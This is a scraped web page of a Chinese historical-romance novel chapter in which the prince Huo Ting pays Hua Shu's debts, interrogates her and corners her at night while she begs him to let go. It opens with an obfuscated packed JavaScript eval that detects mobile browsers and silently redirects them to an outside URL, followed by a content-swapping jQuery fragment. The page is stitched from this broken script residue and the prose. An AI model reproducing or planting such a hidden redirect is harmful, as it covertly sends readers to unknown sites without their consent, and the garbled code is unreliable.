;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037420|145815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得不钦佩,他的足智多谋。 米粥温度正好,香甜软糯,华姝不知不觉连喝几勺,饥肠辘辘的胃很快回暖,而满足。 如画的眉眼,不禁染上一抹松缓轻快。 圆桌对面,霍霆耐心回答老夫人的问话,并没去瞧华姝的雀跃反应。 但他能预感到。 夜莺欢快清啼,阵阵传入窗内,窗边桌案上那尊麒麟紫玉香炉,炉口处的白烟袅袅芬香。 一顿晚膳,皆是华姝喜欢的菜色,老夫人时不时会给她夹菜,吃得其乐融融。 饭后,她却再度面临那个难题,同路而归。 “时候不早了,母亲早些安置吧。”霍霆饮上半盏清茶解腻,放下茶盏,顺势看向华姝。 她垂下眼帘,“姝儿好些天没陪着祖母,今晚想留您这住。” 虽说上次一路同行,霍霆未有为难。但适才出尽洋相,脸皮薄的姑娘家,免不得有几分别扭。 还钱一事,还是明早再说吧。 老夫人自然欢喜,忙要吩咐人去铺床。 霍霆也没阻拦,只淡声问:“你今日因何晚归?” 华姝预感不妙,温吞起身,“要不我今晚还是回月桂居吧,顺路向四叔禀告。” 不幸的是,老夫人已被拱起火气:“就在这里说。” “姝儿如今有了你四叔,都不跟祖母一条心咯。” 华姝无法,只得开口道:“遇见一位医术精湛的前辈,就多逗留些时辰。” 她不确定霍霆是否已获悉,但当着祖母的面实在不敢坦言,只虔诚承诺:“坐诊之事已至收尾,我后面再不会晚归了。” “学医救人是善举,出发点是好的。”霍霆道:“若你晚间需要单独回府,我可另派人护送。” 华姝杏眸微讶。 前几日才被教导不可过分忙碌,本以为他会责备她不听话的。或因今晚之事,严厉斥责。 然而,不待她细究他神情,老夫人的火气更甚:“你哪里能如此纵她?合该早些回来,好生休息。” “嗯,母亲所言极是。” 孝顺的镇南王爷,未有丝毫辩驳。 只见他唇角微抿,脸色似显无奈,华姝却是心生一丝狐疑。 堂堂手握重兵的战神将军,不去处理国家大事,竟在这给她向祖母告状? 她眼神幽怨看去,他从容自若:“今晚还回月桂居吗?” “……回。” * 临近安寝时辰,霍府的庭院无人,偶有寒鸦飞过树梢。 清静的石子小路上,华姝还如上回那般,落后半步,跟在霍霆轮椅后面。长缨和半夏远远跟在最后。 只是今晚的心境,明显不同。 身前的男人亦是一路无言,唯有轮椅木轮下的石子“咿呀”不停。 偏她深知,他有话要说。心绪被勾着、吊着一路,似那木轮一般,上下起伏。 华姝悄悄看去,只能看清霍霆一半脸庞,轮廓线条分明,眉骨斜短的细疤,平添几分凌厉。 是还在因晚归的事,生她气么? 月桂居院近在眼前,华姝犹豫着搓搓指尖,主动打破这煎熬的死寂:“王爷,您是要我诊脉吗?” 霍霆停下轮椅,粗壮手臂递过来,还是没有言语。 华姝见状,也只好先蹲下身,指尖扣上他麦色阔腕,凝神感受脉搏。 忽然,头顶传来熟悉的沉声:“这里是三千两,够用吗?” 霍霆今日的确动了怒气,气萧成未及时禀告此事,气华姝不来寻助、反而只身犯险,更多是气自己没及时发现、护佑不利。 他这一路都在压制情绪,想用最心平气和的方式,帮她解决问题。 眼前多出一沓银票,让华姝动作一顿。 他都知道了,难怪。 可她没去接那银票,赚诊金本就是为还他,哪儿再拿的道理? 只是不曾想,他都没追问缘由。 如此无条件的支持,明显越界了……华姝不禁心跳加速,手足无措。 皎云羞月,空气有须臾安静。 “还差多少?我每年俸禄一万两,还不够的话。兵部尚书一职近日空了出来,我去补了那个缺。” 见她没接,霍霆又道:“往后你别再独自出诊,不安全。” 兵部尚书乃正三品大员,大伯父二伯父盼了大半辈子的好职位,到他口中,竟成了“缺”。 华姝心知霍霆并非仗势欺人,但他的位高威压,在这一刻的确显示得淋漓尽致。 还有他超出叔侄的过分照拂……都让她心跳越发凌乱。 感激是真,但压力更甚。 他们真的不能再这样。 “王爷好意,华姝铭记于心。但您伤势未愈,还是多休养为好。” “至于我行医这等小事,说来话长,您实在不必放心上。”说完,她就想收回手,起身告别。 怎知,霍霆蓦地扣住她指尖,“那就长话短说。”嗓音染上威压。 他掌心灼热,灼得华姝心跳砰砰更甚,默默蹲在他腿边,一动不敢动。 只觉她一直以来不愿去触碰的那层遮羞布,要提前被揭掉了。 20. 挑破 深秋仲夜,空气泛起淡淡的白雾,悄无声息从四面八方涌来,打湿华姝的袅袅衣裙,寒意阵阵。 她深吸一口气:“二伯母发给我的月银与众姊妹一样多,完全够日常开销。”只是这次特殊情况,不够偿还血燕和山中人情债罢了。 “出诊也是想救人性命。本以为她一介孤苦女子……终是我考虑不周,华姝甘愿受罚。只求您别告知祖母,我日后再不会去了。” “这话说得不实诚。” 霍霆加重语气,一语挑破:“那花魁业已交代,是你主动找上她的。” 华姝喉头干涩,愈加支吾:“我……” “这木屋何时变作兵器库了?” “快走快走!千万别被王爷发现咱常来此处幽会。” 不远处的药田,忽传来两道窃窃私语。应是府中一对偷情的野鸳鸯。 闻声,月桂居门口的两人,都神色微变。 晚风吹来,桂花阵阵飘香。本就暧昧的氛围,再添尴尬。 小木屋,孤男寡女,亲密,偷情。 怎么听怎么都像…… 华姝头顶越埋越低,心虚又羞怯,试探着抽回手指。 这等轻微的小动作,自然逃不过霍霆的眼。 他垂眸看去,意外撞见那伸长的纤细雪颈,染满红晕,从耳边一路蔓延而下。 似暗夜里一朵盛放的蔷薇,惹猛虎想倾身细嗅。 霍霆克制地挪开眼,遂了她愿,松开手,顺势给远处的长缨一个手势,绕道去药田瞧瞧。 华姝如蒙大赦,起身拉开一步距离。 那指尖染着他的体温,仍是烫得厉害,余有微颤,她顺势搓了搓泛凉的手臂,以作掩饰。 霍霆都瞧在眼里,叹了口气:“华姝,你无需这般怕我。” “今日过问此事,本意也不为责罚。但你一再回避,让我不得不忧心你处境艰险。” “实在不想说,我不问便是。” 反正萧成会加倍盯紧,但这话霍霆不会告知她,仅着重叮嘱:“只一点,不准伤到自己。” 闻言,华姝哑然一怔。 朦胧月色里,男人泰然而坐,一袭滚边刺绣的玄衣,无风自动。 他眉眼英俊硬朗,自带凌厉。但此刻面对她,华姝看得出,他在尽可能表现得平易柔和。 她不由赧颜于他的包容胸襟,感动于他的深沉关切。 华姝郑重福身,细语软柔:“王爷的海涵与厚助,华姝铭记于心。事情没您想得那般复杂,我日后也再不会去,不会让祖母……和您惦记。” “如此甚好。” 霍霆瞧着她,脸色渐缓:“否则再是遇险,我就真要向你祖母告状了。” 话音未落,自己先行失笑。 想他纵横沙场多年,审讯战俘无数,如今竟撬不开她一个小丫头的嘴,还得向老母亲告状,说出去估计得被那帮兄弟笑上好几年。 见霍霆笑了,且理直气壮地威胁她还要告状,华姝亦是忍俊不禁。 不得不承认,他真是一位赤诚宽厚的长辈。若非山中事,她定会忍不住像小时候一般黏着他。 “行了,回吧。”霍霆看眼渐深的夜色,“往后日渐天凉,若再是贪晚的话,记得加件外裳。” 默了默,他再度递上银票,“这钱先拿着,权当我提前予你的诊金。” 瞧着那沓银票,华姝迟疑一瞬。 许是男人太过包容随和,给予她莫名心安。又或他一再过度关照,让她受之有愧,不宜再退缩至明日。 华姝心中挣扎几番,决意即刻直面此事:“王爷,我可以说明筹钱的缘由。您能答应我,不生气吗?” “那要看是因为什么。” 霍霆不是情窦初开的少年,他待人接物早有一套成熟的底线:“伤天害理、作奸犯科之事绝不准许。” “即便你现在后悔,不肯坦言了,日后被我知晓亦不准许。” “不过,”他话锋一转,凤眸清明瞧着她,“我自是相信你的为人,更担心你受人蒙骗。” “不会伤天害理,也不是作奸犯科,您就不会生气,对吧?” 华姝试探的触角,又往前伸出一点点。 霍霆难得见她眸中不止惧色,还有一丝灵动的狡黠,似是激发出她幼年时的欢脱性情。 他微挑眉,“且说说看。” “您稍等。” 华姝先是走开几步,悄声交代半夏回月桂居拿银钱,而后折返回霍霆跟前。 长缨去药田尚未回来,这会附近就只有他们两人。 她深吸一口气,终于坦言说出积压多日的心事:“我去赚诊金,是为了还清您的诸多恩情。” 秋风乍起,寒夜更深。 霍霆握着银票的手掌,骤然收紧。 定定凝着她,静候下文。 可他气场太过强大,凤眸的微变,已让华姝倍感压力。 但事已至此,也只能硬着头皮说下去。她轻声软语道:“承蒙王爷多番相救,华姝不胜感激。若能为您清除余毒,我亦万死不辞。” “至于山中之事……” 华姝拢了拢鬓边碎发,试图掩饰掉羞耻泛红的脸颊,“皆由我而起,亦该我独担。华姝敬仰王爷责任心厚重,也深知您肩负天下大事,故而,还请您日后不必再费心关照,不值当的。” 她话音落下,许久未等到答复。 空气亦是冷寂许久,薄雾渐浓,从四周压迫而来。 却抵不过霍霆周身的沉郁威压。 华姝埋低头,不敢去瞧他脸色,却见那几张银票已被攥得严重变形。 而另一只大掌也攥紧轮椅扶手,青筋根根凸起。 时至此时,他仍在极力克制,没有冲她发火,华姝心中百感交集:“王爷,您……” “华姝。” 霍霆沉声打断她:“我可以给你足够时间想清楚,你不用着急答复此事。” “天色不早了,回吧。”他先行调动轮椅,有意就此结束这段对话。 但华姝没动。 她搓了搓僵硬的指尖,唇瓣孱颤:“不必再想了,这是我近一个月审慎思考的结果。” 霍霆动作一顿。 停下轮椅,然后站了起来。 高大魁岸的身影,刹那投下一道沉密的阴影,将华姝严实笼罩其中。 她心跳漏了一拍,仰头看去,男人居高临下谛视着她,凤眸寒沉如渊。 华姝心跳更快,下意识步步退避。 但这一次,霍霆没再宽让,而是大步逼近。 且他一步,顶她三步,让华姝脚步凌乱,局促不安。 她惊惶看着眼前之人,这一刻,他不再是宽和四叔,而是那个气势如狼的冷峻山匪,露出了最本真的模样。 那些拼命忘却的昔日恐惧,在这一刻,悉数从潮水般袭来,令华姝心脏狂跳,濒临窒息。 “理由呢?”霍霆边走边问。 “因为我年长你太多?” “因为我眉骨有疤,长得很凶?” “不是的!”华姝极力摇头,极力解释:“王爷海纳百川,心怀天下,是大昭百姓的神明,亦是华姝心中的英雄。” 说话间,两人已退至清枫斋的木门前,霍霆顿住脚步。 刚想出声提醒,但华姝一时不察,后背已经撞了上去。 机密信件都锁在书房,清枫斋的院门没有上锁的必要,因为府中无人胆敢不请自来。 而华姝,显然又是例外。 她轻轻一撞,两扇门板“吱呀”而开,整个人不受控地往后 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“也好,他确实比我更合适。”他缓声道:“我会出面替你指了这门亲事。” 男人似平和下来,但扣在华姝腰肢上的炙热大掌却没松开,反而握得更紧,压迫更甚。 烫得她心尖发颤。 顾不得弄清他如何知晓霍玄的事,忙出言阻拦:“我对表兄仅是兄妹之情,还请王爷打消这份心思。” 即便来日真会嫁人,定也趁霍霆离京不在,避着,瞒着。哪好意思请他出面指婚? “你若为顾及我颜面,倒也不用……” “我没有!” 华姝加重语气,每个字都带有坚决的重量。 霍霆被打断的后半句话,似也字如千斤,难再多言。 他望着她,眸色深沉。 秋风再起,红枫叶自墙头飘零而落,有一瞬遮蔽门边的灯笼黄光,恍了眼。 叫人一度看不清自己的心,有几分试探,几分成全,又有几分释然。 但从华姝的视角,能感觉霍霆周身的寒意在减淡。 然后他俯下身靠过来,视线与她平齐。 近得能让她隐隐看见花容失色的自己,和映入他凤眼的灯笼光晕,又好似重燃起的一簇火苗。 “那就只剩世人非议了。”他轻揉她头,“你尽可放宽心,我来解决……” “姑娘!” “姑娘你在哪?” 这时,门外传来频频的呼唤声,是半夏拿着银票出来了。 但夜半三更,事关秘辛,她又不能高声大喊,语气越发焦急。 华姝也跟着一同焦急:“王爷美意,华姝心领了。是我跨不过心中那道坎,与旁人无关。” 她试着挣扎了下,但根本以卵击石,动弹不得一点。 反被男人灼灼目光,烫被目光闪躲,长睫低垂。 可霍霆不准。 原本扣在她腰间那只粗粝大掌,改为捧起她脸颊,四目相对。 “我还是那句话,你慢慢消解心绪,此事容后再议。” 他用最温柔的语气,说出最决绝之语。 兜兜转转,谈话绕回最初的原点。华姝所有的竭力劝说,皆变作徒劳。 这一刻,本就身处绝路的她,心境亦陷入绝路。 只剩最后的颤声哀求:“王爷,我恳求您放手吧。” 她咬紧唇瓣,却还是漏掉一丝轻微的啜泣声,似秋夜里迷失希望的小兽在呜咽。 紧接着,一颗热泪,顺着她泛红的眼角无力滑下。 坠落在脸畔的粗粝大手上,溅起一滴看似微不足道的水花……